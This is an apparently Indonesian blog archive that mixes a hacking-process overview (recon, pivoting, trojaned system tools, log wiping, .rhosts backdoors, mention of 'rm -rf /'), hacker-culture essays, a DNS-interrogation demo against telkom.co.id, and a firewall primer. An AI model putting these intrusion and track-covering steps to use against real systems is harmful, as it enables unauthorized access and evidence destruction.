Hmmm bagaimana secara singkat lebih jauh proses hacking ini dilakukan? Untuk dapat mengakses ke dalam sebuah situs biasanya melalui beberapa proses terlebih dulu, seperti hal-nya dinas intelejen, kita harus tahu persis segala sesuatu tentang perusahaan & situs yang akan kita masuki, rencana melarikan diri kalau ada apa-apa dsb. Proses intelejen ini dilakukan dalam tiga (3) tahapan besar, yaitu footprinting, scanning & enumeration. Footprinting untuk mengetahui seberapa besar scope / wilayah serangan bisa dilihat dari berbagai file HTML perusahaan tsb, perintah whois, host, dig, nslookup pada Linux untuk melihat scope host yang perlu di serang / di amankan. Scanning untuk melihat servis apa saja yang ada di mesin-mesin tersebut, topologi jaringan dsb. bisa dilakukan mengunakan perintah ping, traceroute, nmap, strobe, udp_scan, netcat di Linux & terakhir Cheops untuk melakukan network mapping. Enumeration sistem operasi yang jalan di server target apakah Windows NT/2000 / Linux / Netware. Program seperti snmputil, enum, dumpsec, showmount, rcpinfo, finger menjadi sangat “handy”.

Setelah proses intelejen di lakukan dengan baik proses serangan dapat mulai dikerjakan. Seperti kita tahu, umumnya berbagai perusahaan / dotcommers akan menggunakan Internet untuk (1) hosting web server mereka, (2) komunikasi e-mail dan (3) memberikan akses web / internet kepada karyawan-nya. Pemisahan jaringan Internet dan IntraNet umumnya dilakukan dengan menggunakan teknik / software Firewall dan Proxy server. Detail sepuluh (10) besar serangan di Internet bisa dibaca di http://www.sans.org/topten.html. Melihat kondisi penggunaan di atas, kelemahan sistem umumnya dapat di tembus misalnya dengan menembus mailserver external / luar yang digunakan untuk memudahkan akses ke mail keluar dari perusahaan. Selain itu, dengan menggunakan agressive-SNMP scanner & program yang memaksa SNMP community string dapat mengubah sebuah router menjadi bridge (jembatan) yang kemudian dapat digunakan untuk batu loncatan untuk masuk ke dalam jaringan internal perusahaan (IntraNet).

Agar hacker terlindungi pada saat melakukan serangan, teknik cloacking (penyamaran) dilakukan dengan cara melompat dari mesin yang sebelumnya telah di compromised (ditaklukan) melalui program telnet atau rsh. Pada mesin perantara yang menggunakan Windows serangan dapat dilakukan dengan melompat dari program Wingate / proxy server; dapat melalui unauthenticated SOCKproxy port 1080 atau open Web proxy port 80, 81, 8000, 8080. Daftar WinGate server di maintain oleh CyberArmy di http://www.cyberarmy.com/wingate/.

Langkah selanjutnya, hacker akan mengidentifikasi komponen jaringan yang dipercaya oleh system apa saja. Komponen jaringan tersebut biasanya mesin administrator dan server yang biasanya di anggap paling aman di jaringan. Start dengan check akses & eksport NFS ke berbagai direktori yang kritis seperti /usr/bin, /etc dan /home. Eksploitasi mesin melalui kelemahan Common Gateway Interface (CGI), dengan akses ke file /etc/hosts.allow.

Selanjutnya hacker harus mengidentifikasi komponen jaringan yang lemah dan bisa di taklukan. Hacker bisa mengunakan program di Linux seperti ADMhack, mscan, nmap dan banyak scanner kecil lainnya. Program seperti ‘ps’ & ‘netstat’ di buat trojan (ingat cerita kuda troya? dalam cerita klasik yunani kuno) untuk menyembunyikan proses scanning. Bagi hacker yang cukup advanced dapat mengunakan aggressive-SNMP scanning untuk men-scan peralatan dengan SNMP.

Setelah hacker berhasil mengidentifikasi komponen jaringan yang lemah dan bisa di taklukan, maka hacker akan menjalan program untuk menaklukan program daemon yang lemah di server. Cara paling sederhana menggunakan script kiddies yang tersedia di Internet di http://www.technotronics.com / http://www.hackingexposed.com seperti cgiscan.c, phfscan.c dsb. Program daemon adalah program di server yang biasanya berjalan di belakang layar (sebagai daemon / setan). Keberhasilan menaklukan program daemon ini akan memungkinkan seorang Hacker untuk memperoleh akses sebagai ‘root’ (administrator tertinggi di server).

Untuk menghilangkan jejak, seorang hacker biasanya melakukan operasi pembersihan ‘clean-up‘ operation dengan cara membersihkan berbagai log file. Program seperti zap, wzap, wted, remove akan membantu. Walaupun simpel text editor seperti vi dapat juga melakukan pekerjaan itu. Jangan lupa menambahkan program ‘backdooring’ dengan cara Mengganti file .rhosts di /usr/bin untuk memudahkan akses ke mesin yang di taklukan melalui rsh & csh. Selanjutnya seorang hacker dapat menggunakan mesin yang sudah ditaklukan untuk kepentingannya sendiri, tapi seorang hacker yang baik akan memberitahukan sistem administrator tentang kelemahan sistemnya & tidak akan pernah menjalankan perintah ‘rm –rf / &’.

Oleh karena itu semua mesin & router yang menjalankan misi kritis sebaiknya selalu di periksa keamanannya & di patch oleh software yang lebih baru. Backup menjadi penting sekali terutama pada mesin-mesin yang menjalankan misi kritis supaya terselamatkan dari ulah cracker yang men-disable sistem dengan ‘rm –rf / &’.

Cukup banyak situs di Internet yang bisa menjadi basis pengetahuan underground, beberapa diantara-nya berbahasa Indonesia seperti Kecoa Elektronik http://www.k-elektronik.org, Hackerlink http://www.hackerlink.or.id, maupun Anti-hackerlink (entah dimana lokasinya). Referensi terbaik mungkin bisa dibaca di berbagai situs di luar negeri seperti http://packetstorm.securify.com, http://www.hackingexposed.com, http://neworder.box.sk, http://www.sans.org, http://www.rootshell.com.

Masyarakat Hacker

•23 Desember 2011 • Tinggalkan sebuah Komentar

Banyak artikel / tulisan di media tentang ‘hacker’, tapi tidak banyak yang membahas tentang budaya, etika, aturan yang mengatur komunitas misterius ini. Sebuah masyarakat yang hanya ada & dikenal diantara underground (demikian istilah mereka). Tulisan ini di sadur dari beberapa bahan di Internet underground seperti tulisan Gilbert Alaverdian akan mencoba membahas hal-hal ini, agar masyarakat umum dapat mengerti sedikit tentang sub-culture di dunia underground.

Di media & stereotype masyarakat tentang hacker adalah orang yang jahat dan suka merusak. Padahal arti sebetulnya hacker adalah tidak seperti yang dibayangkan banyak orang. Stereotype ABG 15 tahun, yang duduk di belakang komputer berjam-jam, masuk ke sistem dan men-delete atau menghancurkan apa saja yang bisa mereka hancurkan – “anak” ini dikenal sebagai cracker bukan sebagai hacker. Cracker ini yang sering anda dengar di berita / media, mematikan situs web, menghapus data dan membuat kekacauan kemanapun mereka pergi.

Di dunia elektronik bawah tanah (underground) nama jarang digunakan. Orang biasanya menggunakan nama alias, callsign atau nama samaran. Hal ini memungkinkan kita bisa menyamarkan identitas, dan di kenali sesama underground. Beberapa nama populer diantara hacker Indonesia bisa dikenali seperti hC, cbug, litherr, fwerd, d_ajax, r3dshadow, cwarrior, ladybug, chiko, gelo, BigDaddy dsb..

Apakah perbedaan mendasar antara cracker & hacker? Di http://www.whatis.com, cracker di definisikan sebagai “seseorang yang masuk ke sistem orang lain, biasanya di jaringan komputer, membypass password atau lisensi program komputer, atau secara sengaja melawan keamanan komputer. Cracker dapat mengerjakan hal ini untuk keuntungan, maksud jahat, atau karena sebab lainnya karena ada tantangan. Beberapa proses pembobolan dilakukan untuk menunjukan kelemahan keamanan sistem”

Hacker menurut Eric Raymond di definisikan sebagai programmer yang pandai. Sebuah hack yang baik adalah solusi yang cantik kepada masalah programming dan “hacking” adalah proses pembuatan-nya. Menurut Raymond ada lima (5) karakteristik yang menandakan seseorang adalah hacker, yaitu:

  • Seseorang yang suka belajar detail dari bahasa pemrograman atau system.
  • Seseorang yang melakukan pemrograman tidak cuma berteori saja.
  • Seseorang yang bisa menghargai, menikmati hasil hacking orang lain.
  • Seseorang yang dapat secara cepat belajar pemrogramman.
  • Seseorang yang ahli dalam bahasa pemrograman tertentu atau sistem tertentu, seperti “UNIX hacker”.

Yang menarik, ternyata dalam dunia hacker terjadi strata-strata (tingkatan) yang diberikan oleh komunitas hacker kepada seseorang karena kepiawaiannya, bukan karena umur atau senioritasnya. Saya yakin tidak semua orang setuju dengan derajat yang akan dijelaskan disini, karena ada kesan arogan terutama pada level yang tinggi. Untuk memperoleh pengakuan / derajat, seorang hacker harus mampu membuat program untuk eksploit kelemahan sistem, menulis tutorial (artikel), aktif diskusi di mailing list, membuat situs web dsb.

Hirarki Hacker

Mungkin agak terlalu kasar jika di sebut hirarki / tingkatan hacker; saya yakin istilah ini tidak sepenuhnya bisa di terima oleh masyarakat hacker. Oleh karenanya saya meminta maaf sebelumnya. Secara umum yang paling tinggi (suhu) hacker sering di sebut ‘Elite’; di Indonesia mungkin lebih sering di sebut ‘suhu’. Sedangkan, di ujung lain derajat hacker dikenal ‘wanna-be’ hacker atau dikenal sebagai ‘Lamers’.

Elite :

Juga dikenal sebagai 3l33t, 3l337, 31337 atau kombinasi dari itu; merupakan ujung tombak industri keamanan jaringan. Mereka mengerti sistem operasi luar dalam, sanggup mengkonfigurasi & menyambungkan jaringan secara global. Sanggup melakukan pemrogramman setiap harinya. Sebuah anugrah yang sangat alami, mereka biasanya effisien & trampil, menggunakan pengetahuannya dengan tepat. Mereka seperti siluman dapat memasuki sistem tanpa di ketahui, walaupun mereka tidak akan menghancurkan data-data. Karena mereka selalu mengikuti peraturan yang ada. Salah satu suhu hacker di Indonesia yang saya hormati & kagumi kebetulan bekas murid saya sendiri di Teknik Elektro ITB, beliau relatif masih muda sekarang telah menjadi seorang penting di Research & Development Telkomsel.

Semi Elite:

Hacker ini biasanya lebih muda daripada Elite. Mereka juga mempunyai kemampuan & pengetahuan luas tentang komputer. Mereka mengerti tentang sistem operasi (termasuk lubangnya). Biasanya dilengkapi dengan sejumlah kecil program cukup untuk mengubah program eksploit. Banyak serangan yang dipublikasi dilakukan oleh hacker kaliber ini, sialnya oleh para Elite mereka sering kali di kategorikan Lamer.

Developed Kiddie:

Sebutan ini terutama karena umur kelompok ini masih muda (ABG) & masih sekolah. Mereka membaca tentang metoda hacking & caranya di berbagai kesempatan. Mereka mencoba berbagai sistem sampai akhirnya berhasil & memproklamirkan kemenangan ke lainnya. Umumnya mereka masih menggunakan Grafik User Interface (GUI) & baru belajar basic dari UNIX, tanpa mampu menemukan lubang kelemahan baru di sistem operasi.

Script Kiddie:

Seperti developed kiddie, Script Kiddie biasanya melakukan aktifitas di atas. Seperti juga Lamers, mereka hanya mempunyai pengetahuan teknis networking yang sangat minimal. Biasanya tidak lepas dari GUI. Hacking dilakukan menggunakan trojan untuk menakuti & menyusahkan hidup sebagian pengguna Internet.

Lamer:

Mereka adalah orang tanpa pengalaman & pengetahuan yang ingin menjadi hacker (wanna-be hacker). Mereka biasanya membaca atau mendengar tentang hacker & ingin seperti itu. Penggunaan komputer mereka terutama untuk main game, IRC, tukar menukar software prirate, mencuri kartu kredit. Biasanya melakukan hacking menggunakan software trojan, nuke & DoS. Biasanya menyombongkan diri melalui IRC channel dsb. Karena banyak kekurangannya untuk mencapai elite, dalam perkembangannya mereka hanya akan sampai level developed kiddie atau script kiddie saja.

Sombong

Sombong merupakan salah satu sebab utama seorang hacker tertangkap. Mereka menyombongkan diri & memproklamirkan apa yang mereka capai untuk memperoleh pengakuan dari yang lain. Hacker lain, karena pengetahuan-nya masih kurang, biasanya akan memilih target secara hati-hati. Secara perlahan mereka akan naik hirarki mereka sesuai dengan kemampuannya, tanpa menyombongkan dirinya.

Hacker Menolong Industri

Umumnya pembuatan software akan sangat berterima kasih akan masukan dari para hacker, karena dengan adanya masukan ini software yang mereka buat menjadi semakin baik. Memang kadang eksploit yang dihasilkan para hacker tidak langsung di peroleh si perusahaan software, tapi di tahan oleh komunitas underground ini – sampai digunakan oleh lamers & membuat kekacauan.

Etika

Dalam komunitas hacker ternyata ada etika & aturan main yang membedakan antara hacker & cracker, maupun hacker kelas rendahan. Salah satu etika yang berhasil di formulasikan dengan baik ada di  buku Hackers: Heroes of the Computer Revolution, yang ditulis oleh Steven Levy 1984, ada 6 etika yang perlu di resapi seorang hacker:

  1. Akses ke komputer – dan apapaun yang akan mengajarkan kepada anda bagaimana dunia ini berjalan / bekerja – harus dilakukan tanpa batas & total. Selalu mengutamakan pengalaman lapangan!
  1. Semua informasi harus bebas, tidak di sembunyikan.
  1. Tidak pernah percaya autoritas – percaya pada desentralisasi.
  1. Seorang hacker hanya di nilai dari kemampuan hackingnya, bukan kriteria buatan seperti gelar, umur, posisi atau suku bangsa.
  1. Seorang hacker membuat seni & keindahan di komputer.
  1. Komputer dapat mengubah hidup anda menuju yang lebih baik.

Aturan Main Hacker

Gambaran umum aturan main yang perlu di ikuti seorang hacker seperti di jelaskan oleh Scorpio http://packetstorm.securify.com/docs/hack/ethics/my.code.of.ethics.html, yaitu:

  • Di atas segalanya, hormati pengetahuan & kebebasan informasi.
  • Memberitahukan sistem administrator akan adanya pelanggaran keamanan / lubang di keamanan yang anda lihat.
  • Jangan mengambil keuntungan yang tidak fair dari hack.
  • Tidak mendistribusikan & mengumpulkan software bajakan.
  • Tidak pernah mengambil resiko yang bodoh – selalu mengetahui kemampuan  sendiri.
  • Selalu bersedia untuk secara terbuka / bebas / gratis memberitahukan & mengajarkan berbagai informasi & metoda yang diperoleh.
  • Tidak pernah meng-hack sebuah sistem untuk mencuri uang.
  • Tidak pernah memberikan akses ke seseorang yang akan membuat kerusakan.
  • Tidak pernah secara sengaja menghapus & merusak file di komputer yang dihack.
  • Hormati mesin yang di hack, dan memperlakukan dia seperti mesin sendiri.

Jelas dari Etika & Aturan main Hacker di atas, terlihat jelas sangat tidak mungkin seorang hacker betulan akan membuat kerusakan di komputer.

Interogasi DNS – melihat mesin di domain sasaran

•23 Desember 2011 • Tinggalkan sebuah Komentar

Sesudah melakukan network enumeration menggunakan perintah “whois” langkah selanjutnya yang akan banyak membantu mengidentifikasi semua domain yang berada di bawah organisasi sasaran adalah dengan mengambil infomrasi Domain Name System (DNS). DNS pada dasarnya sebuah basisdata yang terdistribusi yang melakukan pemetaan antara alamat IP dengan nama domain & sebaliknya.

Jika DNS tidak dikonfigurasi dengan baik (aman), maka akan sangat mungkin untuk melihat informasi tentang organisasi di dalamnya. Salah satu kesalahan paling fatal yang sering dilakukan oleh sistem administrator adalah mengijinkan pengguna internet yang tidak bisa dipercaya untuk melakukan zone transfer.

Zone transfer adalah fasilitas di DNS untuk mentransfer seluruh informasi tentang domain yang akan menjadi sasaran tembak. Jika anda berhasil memperoleh informasi seluruh domain tersebut,  beberapa informasi yang akan membantu anda adalah entry:

            HINFO – yang memberikan informasi tentang mesin  yang digunakan.

            MX – mesin perantara yang menerima e-mail untuk domain tersebut.

Selain beberapa informasi lainnya tentang pemetaan alamat IP dengan hostname.

Salah satu cara yang mungkin agak mudah untuk melakukan zone transfer, pada masa lalu, bisa dilakukan dengan mudah menggunakan perangkat lunak nslookup dengan perintah ls. Hanya saja, nslookup yang ada pada saat ini biasanya sudah tidak lagi dilengkapi dengan perintah ls, karena sering di salahgunakan untuk melakukan zone transfer yang diperlukan pada saat melalukan footprinting sebelum serangan di lakukan.

Alternatif lain yang dapat digunakan adalah menggunakan software dig & host. Sebagai contoh, dibawah ini adalah hasil interogasi DNS dari domain telkom.co.id mengunakan perintah host –l –v –t any.

[root@gate onno]# host -l -v -t any telkom.co.id

Trying “telkom.co.id.”

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40309

;; flags: qr rd ra; QUERY: 1, ANSWER: 6, AUTHORITY: 3, ADDITIONAL: 5

;; QUESTION SECTION:

;telkom.co.id.                  IN      ANY

 

;; ANSWER SECTION:

telkom.co.id.           65237   IN      MX      5 in-mta1.telkom.co.id.

telkom.co.id.           65237   IN      MX      10 in-mta2.telkom.co.id.

telkom.co.id.           61859   IN      A       202.134.2.15

telkom.co.id.           79371   IN      NS      ns3.telkom.co.id.

telkom.co.id.           79371   IN      NS      ns1.telkom.co.id.

telkom.co.id.           79371   IN      NS      ns2.telkom.co.id.

;; AUTHORITY SECTION:

telkom.co.id.           79371   IN      NS      ns3.telkom.co.id.

telkom.co.id.           79371   IN      NS      ns1.telkom.co.id.

telkom.co.id.           79371   IN      NS      ns2.telkom.co.id.

;; ADDITIONAL SECTION:

in-mta1.telkom.co.id.   65237   IN      A       202.134.0.196

in-mta2.telkom.co.id.   65237   IN      A       202.134.0.197

ns1.telkom.co.id.       79371   IN      A       202.134.0.155

ns2.telkom.co.id.       79371   IN      A       202.134.2.5

ns3.telkom.co.id.       79371   IN      A       202.134.1.10

Received 270 bytes from 202.159.33.2#53 in 883 ms

Atau kalau anda ingin men-safe hasil interogasi-nya ke dalam file agar memudahkan untuk mengevaluasi dikemudian hari, dapat di redirect menggunakan perintah >

[root@gate onno]# host -l -v -t any telkom.co.id > zone_telkom.co.id

Kebetulan tidak banyak informasi yang dapat diperoleh dari hasil query tentang telkom.co.id. Ada beberapa entry MX, NS & A yang diperoleh dari query DNS telkom.co.id. Beberapa inti informasi tersebut adalah:

  • MX berisi informasi tentang Mail Exchange, tempat e-mail dikirim ke domain tersebut.
  • NS berisi informasi tentang mesin yang berfungsi membawa semua informasi DNS domain telkom.co.id.
  • A adalah alamat IP dari mesin yang dimaksud.

Dengan minimalnya informasi, paling tidak yang kita ketahui bahwa:

  • ada dua (2) mesin utama yang berfungsi sebagai MX untuk domain telkom.co.id yaitu in-mta1.telkom.co.id & in-mta2.telkom.co.id.
  • Tampaknya mesin-mesin utama telkom.co.id berada di alamat IP keluarga 20.134.0.x.
  • Tampaknya keluarga 202.134.1.x & 202.134.2.x juga perlu di evaluasi karena ada beberapa mesin penting di sana.
  • Tidak ada informasi HINFO, jadi kita tidak bisa melihat secara langsung mesin / sistem operasi apa yang digunakan oleh Telkom.

Mungkin akan menarik jika kita scan / petakan semua mesin yang berada di alamat IP 202.134.0.x s/d 202.134.2.x karena akan memperlihatkan semua mesin penting yang akan mendukung kerja telkom.co.id termasuk anak-anak perusahaannya; kemungkinan besar termasuk telkom.net.id, plasa.com dll.

Jika kita ingin melihat alamat IP yang spesifik dapat juga dilakukan menggunakan program host / dig, sebagai contoh disini diperlihatkan pada saat melakukan query tentang www.telkom.co.id melalui perintah dig.

[root@gate onno]# dig www.telkom.co.id

; <<>> DiG 9.1.1 <<>> www.telkom.co.id

;; global options:  printcmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 36787

;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 3, ADDITIONAL: 3

;; QUESTION SECTION:

;www.telkom.co.id.              IN      A

;; ANSWER SECTION:

www.telkom.co.id.       39899   IN      A       202.134.2.15

;; AUTHORITY SECTION:

telkom.co.id.           79239   IN      NS      ns2.telkom.co.id.

telkom.co.id.           79239   IN      NS      ns3.telkom.co.id.

telkom.co.id.           79239   IN      NS      ns1.telkom.co.id.

;; ADDITIONAL SECTION:

ns1.telkom.co.id.       79239   IN      A       202.134.0.155

ns2.telkom.co.id.       79239   IN      A       202.134.2.5

ns3.telkom.co.id.       79239   IN      A       202.134.1.10

;; Query time: 303 msec

;; SERVER: 202.159.33.2#53(202.159.33.2)

;; WHEN: Fri Aug 10 08:07:42 2001

;; MSG SIZE  rcvd: 152

Dari informasi ini diperoleh informasi bahwa www.telkom.co.id berada dalam daerah alamat IP 202.134.2.x, jadi betul prediksi di atas bahwa mesin-mesin di daerah 202.134.0.x s/d 202.134.2.x akan membawa beberapa mesin penting untuk operasional telkom.co.id & berbagai anak perusahaan di bawahnya.

Footprinting – Intelejen Awal Hacking

•23 Desember 2011 • Tinggalkan sebuah Komentar

Teknik paling awal sekali yang harus dilakukan oleh seorang hacker sebelum serangan di lakukan adalah melakukan proses footprinting, atau dalam bahasa keren-nya intelejen awal tentang segala sesuatu yang berkaitan dengan target yang dituju. Dengan cara ini seorang penyerang akan memperoleh profile / postur keamanan yang lengkap dari organisasi / jaringan yang akan di serang.

Pada dasarnya ada empat (4) langkah utama yang biasanya dilakukan untuk melakukan intelejen awal untuk melihat scope & situasi target sasaran. Langkah ini dikenal sebagai footprinting, yaitu:

            Step 1: Menentukan Scope Aktifitas / Serangan.

            Step 2: Network Enumeration.

            Step 3: Interogasi DNS (domain name).

            Step 4: Mengintai Jaringan.

Step 1: Menentukan Scope Aktifitas / Serangan

Pada tahapan 1 ini, kita perlu memperoleh sebanyak mungkin informasi yang berkaitan dengan lokasi, anak-anak perusahaan, berita merger / akusisi, nomor telepon, kontak person & e-mail address mereka, masalah privasi & kebijakan keamanan yang di terapkan, link ke berbagai situs Web lain yang berhubungan. Cara yang biasa dipakai ada cukup banyak, misalnya, menggunakan wget (Linux) atau Teleport Pro & mengcopy / me-mirror seluruh Web untuk di analisis. Lihat di dekat kode-kode “<”, “!” , “-“ di file HTML untuk informasi yang anda butuhkan. Coba monitoring berbagai mailing list & lihat posting yang berasal dari @target-anda.com.

Bagi sistem administrator yang ingin melawan hal ini, ada baiknya membaca-baca RFC 2196 Site Security Handbook yang bisa di download dari http://www.ietf.org/rfc/rfc2196.txt.

Step 2: Network Enumeration.

Network enumeration dilakukan untuk melihat domain yang digunakan oleh sebuah organisasi. Seni mencari informasi tsb cukup seru, terutama untuk mengetahui domain yang digunakan oleh sebuah perusahaan, contoh-nya Telkom – mereka menggunakan telkom.net.id, telkom.co.id, telkom.go.id, telkom.net hmm bagaimana mengetahui sekian banyak domain & Point of Contact (PoC)-nya? Biasanya kita menggunakan software whois untuk membuka berbagai informasi yang berkaitan dengan registrar, organisasi, domain, network & point of contact. Software whois biasanya ada di Linux. Bahaya latent, jika registrar domain tidak berhati-hati bisa jadi terjadi pencurian domain (domain hijack) dengan cara menyaru sebagai point of contact dan memindahkan domain tsb ke tangan orang lain.

Step 3: Interogasi DNS (domain name).

Setelah kita mengetahui domain yang berkaitan dengan organisasi sasaran, selanjutnya kita perlu mencek hubungan alamat IP (IP address) & domain / hostname yang digunakan. Cara paling sederhana adalah melakukan interogasi Domain Name System (DNS). Beberapa software yang biasanya digunakan untuk melakukan interogasi DNS tersedia secara mudah di Linux, seperti nslookup, dig, host yang dapat secara sepesifik menginterogasi Name Server (NS), Mail Exchanger (MX), Host Info (HINFO) maupun semua informasi yang ada dengan parameter ANY.

Proses yang paling cepat untuk memperoleh semua informasi yang dibutuhkan adalah dengan menggunakan zone transfer di DNS. Jika operator DNS-nya tidak pandai, kita dapat melakukan zone transfer DNS dengan mudah menggunakan perintah “host –l –v –t any target-domain.com”.

Bagi para system administrator, ada baiknya berhati-hati dengan adanya kemungkinan penyerang yang akan menginterogasi DNS anda. Setting zone transfer ke secondary server / query DNS harus dibatasi & dijaga melalui xfernets directive di named (BIND 8.0). Jika ada baiknya di firewall semua hubungan inbound TCP pada port 53; hanya hubungan UDP port 53 yang diijinkan.

Step 4: Mengintai Jaringan.

Setelah mengetahui daftar alamat IP (IP address) dari berbagai host yang ada di target anda. Langkah selanjutnya adalah memetakan topologi jaringan, baik yang menuju ke target sasaran maupun konfigurasi internal jaringan target. Biasanya kita mengunakan software seperti traceroute (Linux / UNIX) atau tracert (Windows) untuk melakukan pemetaan jaringan. Yang paling seru adalah bagaimana melakukan traceroute untuk menembus pertahanan firewall; kadang dapat di tembus dengan mengirimkan paket traceroute pada port UDP 53 (DNS query), misalnya melalui perintah traceroute –S –p53.

Bagi system administrator, teknik Intrusion Detection menjadi penting untuk dikuasai untuk menjaga adanya penyerang yang masuk dan melakukan pemetaan jaringan internal kita. Salah satu program Intrusion Detection yang gratis & baik adalah http://www.snort.org yang dibuat oleh Marty Roesch.

Mudah-mudahan tulisan sederhana ini, dapat memberikan inspirasi bagi para penyerang maupun para sistem administrator dalam menangkal intelejen yang dilakukan para penyerang di Internet.

FIREWALL: SEKURITI INTERNET

•23 Desember 2011 • Tinggalkan sebuah Komentar

Internet merupakan sebuah jaringan komputer yang sangat terbuka di dunia, konsekuensi yang harus di tanggung adalah tidak ada jaminan keamanan bagi jaringan yang terkait ke Internet. Artinya jika operator jaringan tidak hati-hati dalam menset-up sistemnya, maka kemungkinan besar jaringan yang terkait ke Internet akan dengan mudah dimasuki orang yang tidak di undang dari luar. Adalah tugas dari operator jaringan yang bersangkutan, untuk menekan resiko tersebut seminimal mungkin. Pemilihan strategi dan kecakapan administrator jaringan ini, akan sangat membedakan apakah suatu jaringan mudah ditembus atau tidak.

            Firewall merupakan alat untuk mengimplementasikan kebijakan security (security policy). Sedangkan kebijakan security, dibuat berdasarkan perimbangan antara fasilitas yang disediakan dengan implikasi security-nya. Semakin ketat kebijakan security, semakin kompleks konfigurasi layanan informasi atau semakin sedikit fasilitas yang tersedia di jaringan. Sebaliknya, dengan semakin banyak fasilitas yang tersedia atau sedemikian sederhananya konfigurasi yang diterapkan, maka semakin mudah orang orang ‘usil‘ dari luar masuk kedalam sistem (akibat langsung dari lemahnya kebijakan security).

            Tulisan ini akan mencoba melihat beberapa kebijakan sekuriti yang lazim digunakan pada saat mengkaitkan sebuah jaringan ke Internet.

 Firewall

            Firewall adalah istilah yang biasa digunakan untuk menunjuk pada suatu komponen atau sekumpulan komponen jaringan, yang berfungsi membatasi akses antara dua jaringan, lebih khusus lagi, antara jaringan internal dengan jaringan global Internet. Firewall mempunyai beberapa tugas:

  • Pertama dan yang terpenting adalah: harus dapat mengimplementasikan kebijakan security di jaringan (site security policy). Jika aksi tertentu tidak diperbolehkan oleh kebijakan ini, maka firewall harus meyakinkan bahwa semua usaha yang mewakili operasi tersebut harus gagal atau digagalkan. Dengan demikian, semua akses ilegal antar jaringan (tidak diotorisasikan) akan ditolak.
  • Melakukan filtering: mewajibkan semua traffik yang ada untuk dilewatkan melalui firewall bagi semua proses pemberian dan pemanfaatan layanan informasi. Dalam konteks ini, aliran paket data dari/menuju firewall, diseleksi berdasarkan IP-address, nomor port, atau arahnya, dan disesuaikan dengan kebijakan security.
  • Firewall juga harus dapat merekam/mencatat even-even mencurigakan serta memberitahu administrator terhadap segala usaha-usaha menembus kebijakan security.

Merencanakan Jaringan dengan Firewall

            Merencanakan sistem firewall pada jaringan, berkaitan erat dengan jenis fasilitas apa yang akan disediakan bagi para pemakai, sejauh mana level resiko-security yang bisa diterima, serta berapa banyak waktu, biaya dan keahlian yang tersedia (faktor teknis dan ekonomis). Firewall umumnya terdiri dari bagian filter (disebut juga screen atau choke) dan bagian gateway (gate). Filter berfungsi untuk membatasi akses, mempersempit kanal, atau untuk memblok kelas trafik tertentu. Terjadinya pembatasan akses, berarti akan mengurangi fungsi jaringan. Untuk tetap menjaga fungsi komunikasi jaringan dalam lingkungan yang ber-firewall, umumnya ditempuh dua cara:

  • Pertama, bila kita bayangkan jaringan kita berada dalam perlindungan sebuah benteng, komunikasi dapat terjadi melalui pintu-pintu keluar benteng tersebut. Cara ini dikenal sebagai packet-filtering, dimana filter hanya digunakan untuk menolak trafik pada kanal yang tidak digunakan atau kanal dengan resiko-security cukup besar, sedangkan trafik pada kanal yang lain masih tetap diperbolehkan.
  • Cara kedua, menggunakan sistem proxy, dimana setiap komunikasi yang terjadi antar kedua jaringan harus dilakukan melalui suatu operator, dalam hal ini proxy server. Beberapa protokol, seperti telnet dan SMTP(Simple Mail Transport Protocol), akan lebih efektif ditangani dengan evaluasi paket (packet filtering), sedangkan yang lain seperti FTP (File Transport Protocol), Archie, Gopher dan HTTP (Hyper-Text Transport Protocol) akan lebih efektif ditangani dengan sistem proxy. Kebanyakan firewall menggunakan kombinasi kedua teknik ini (packet filtering dan proxy).

Ada banyak literatur yang membahas masalah security & membagi arsitektur dasar firewall menjadi tiga jenis. Masing masing adalah:

  • arsitektur dengan dual-homed host (kadang kadang dikenal juga sebagai dual homed gateway/ DHG)
  • screened-host (screened host gateway/ SHG)
  • screened subnet (screened subnet gateway/ SSG).

Sistem DHG menggunakan sebuah komputer dengan (paling sedikit) dua network-interface. Interface pertama dihubungkan dengan jaringan internal dan yang lainnya dengan Internet. Dual-homed host nya sendiri berfungsi sebagai bastion host (front terdepan, bagian terpenting dalam firewall).

topologi SHG, fungsi firewall dilakukan oleh sebuah screening-router dan bastion host. Router ini dikonfigurasi sedemikian sehingga akan menolak semua trafik kecuali yang ditujukan ke bastion host, sedangkan pada trafik internal tidak dilakukan pembatasan. Dengan cara ini setiap client servis pada jaringan internal dapat menggunakan fasilitas komunikasi standard dengan Internet tanpa harus melalui proxy.

Firewall dengan arsitektur screened-subnet menggunakan dua screening-router dan jaringan tengah (perimeter network) antara kedua router tersebut, dimana ditempatkan bastion host. Kelebihan susunan ini akan terlihat pada waktu optimasi penempatan server.

Selanjutnya, bagaimana relevansi arsitektur firewall tersebut terhadap level security? Suatu jaringan harus dapat menangani interaksi client-server, tidak terkecuali dengan kehadiran firewall. Sejauh ini, untuk operasi client internal – server internal, atau client internal – server eksternal, tidak terlalu menimbulkan masalah. Jika kita akan membuat sistem firewall untuk jaringan demikian, hanya dengan memasang proxy server pada bastion host dalam arsitektur yang dipilih, kualitas proteksi firewall yang bersangkutan akan maksimal. Artinya ‘keselamatan’ seluruh jaringan, sekarang hanya tergantung pada baik-tidaknya atau seberapa ‘bagus’ firewall tersebut dan tidak tergantung pada program-program yang lain. Beda halnya bila jaringan kita akan mendukung operasi client eksternal – server internal, atau dengan kata lain: jaringan internal kita menyediakan layanan informasi yang dapat diakses dari luar. Dalam konteks ini, harus diperhitungkan metoda penempatan mesin yang menjalankan program server, supaya mesin tersebut dapat dikenali dari internet dan sedemikian, komunikasi dengan client-nya dapat berlangsung dengan baik tanpa mengorbankan kepentingan security.

            Arsitektur dual-homed menawarkan solusi sederhana dan murah. Satu-satunya mesin yang dikenal dari internet dalam sistem ini adalah dual-homed host-nya sendiri, dan dengan demikian ia menjadi satu-satunya mesin alternatif untuk menjalankan program server. Tetapi akan bermanfaat untuk mengingat, bahwa semakin banyak layanan yang disediakan atau semakin banyak program yang berjalan pada bastion-host, maka peluang penyusupan ke komputer tersebut semakin besar. Karena, seperti diyakini banyak orang, hampir dipastikan tidak ada program apapun yang bebas sama sekali dari bugs, apalagi untuk program-program berukuran besar. Dan sekali bugs ini dapat dieksploitasi oleh seseorang yang kemudian masuk ke dalam bastion-host, maka seluruh komputer di jaringan kita akan menjadi terbuka! Jika faktor ekonomis memaksa kita untuk tetap mengimplementasikan arsitektur DHG, maka ada beberapa nasihat yang patut diperhatikan, diantaranya: menggunakan perangkat lunak server yang telah teruji relatif ‘aman’ serta berukuran kecil, mereduksi dan 